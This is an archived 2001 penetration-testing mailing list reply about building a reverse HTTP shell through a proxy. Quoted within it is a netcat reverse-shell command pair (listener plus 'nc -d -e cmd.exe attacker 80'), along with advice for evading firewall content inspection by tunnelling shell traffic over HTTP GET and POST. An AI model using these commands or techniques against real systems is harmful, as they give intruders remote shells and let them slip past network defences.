

RE: Reverse Http Shell Solution

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2001-10/0152.html>

From: David Sexton (dave.sexton@sapphire.net)

Date: 10/19/01

Message-ID: <5072E406E99FD211B4B60001FA7E91300173DF17@pick5.pickerings.co.uk>
From: David Sexton <dave.sexton@sapphire.net>
To: "'pen-test@securityfocus.com'" <pen-test@securityfocus.com>
Subject: RE: Reverse Http Shell Solution
Date: Fri, 19 Oct 2001 09:05:34 +0100

Hi,

I can confirm that it is possible to hack nocrew's httptunnel program to provide a reverse tunnel. There is no reason that this would not work over a http proxy.

Once you have a reverse tunnel set up, you can use netcat to patch in a shell (or even build that functionality into the tunneling software).

httptunnel (which provides a 'forward' tunnel) can be downloaded from : <http://www.nocrew.org/software/httptunnel.html>

All it takes is a bit of code grafting between htc.c and hts.c.

Regards,

Dave

> -----Original Message-----
> From: Frank Knobbe [SMTP:FKnobbe@KnobbeITS.com]
> Sent: 19 October 2001 02:56
> To: 'GrandmastrPlague@aol.com'; vdalesandro@proteus.com.br
> Cc: 'pen-test@securityfocus.com'
> Subject: RE: Reverse Http Shell Solution
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>> -----Original Message-----
>> From: GrandmastrPlague@aol.com [mailto:GrandmastrPlague@aol.com]
>> Sent: Thursday, October 18, 2001 2:02 PM
>>
>> It seems like this question has been asked a million times
>> before, but here goes the same old answer again... use netcat
>> On attacker machine:
>> nc -l -p 80

SecurityFocus Penetration: RE: Reverse Http Shell Solution

> > *On victim machine:*
> > *nc -d -e cmd.exe attacker 80*
> >
> > *Make sure you set up the listening machine first.*
>
>
> *I believe Vinicius meant that there is no way for a straight through*
> *connection as netcat would establish, but instead the requirement to*
> *send GET requests to the proxy which will fetch a page for you.*
> *Netcat won't do that. You would have to have a reverse shell that*
> *operates on a HTTP GET and PUT basis.*
>
> *You could modify netcat to do that. Instead of using TCP/UDP*
> *connections, you can replace that mechanism with HTTP GET and PUT*
> *ways of shuffling data, pumping that back to stdin/stdout. The only*
> *catch is to fetch the data correctly as some firewalls will do*
> *content inspection. One way to get around that is to pump data with*
> *POSTs to a form as normal, but receive data via GET's from images in*
> *the web page, or just request for images a'la <http://h4x0r/data.gif>.*
>
> *Regards,*
> *Frank*
>
> -----BEGIN PGP SIGNATURE-----
> *Version: PGP Personal Privacy 6.5.8*
> *Comment: PGP or S/MIME (X.509) encrypted email preferred.*
>
> *iQA/AwUBO8+ILpytSsEygtEFEQIpdACfcW0ho5zq0dzoNYY0dWkId3qhhosAnjOo*
> *7M3sMCeCgjkYKdpMousASMQa*
> *=MS16*
> -----END PGP SIGNATURE-----
>
>

> --
> *This list is provided by the SecurityFocus Security Intelligence Alert*
> *(SIA)*
> *Service. For more information on SecurityFocus' SIA service which*
> *automatically alerts you to the latest security vulnerabilities please*
> *see:*
> *<https://alerts.securityfocus.com/>*

Any opinions expressed in this message are those of the individual and not necessarily the company. This message and any files transmitted with it are confidential and solely for the use of the intended recipient. If you are not the intended recipient or the person responsible for delivering to the intended recipient, be advised that you have received this message in error and that any use is strictly prohibited.

Sapphire Technologies Ltd
<http://www.sapphire.net>

SecurityFocus Penetration: RE: Reverse Http Shell Solution

This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: <https://alerts.securityfocus.com/>

- *Previous message:* [Ryan Permech: "Re: vulnerable perl script?"](#)
- *Maybe in reply to:* [Vinicius Dalesandro: "Reverse Http Shell Solution"](#)
- *Next in thread:* [Jody Melbourne: "Re: Reverse Http Shell Solution"](#)
- *Messages sorted by:* [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)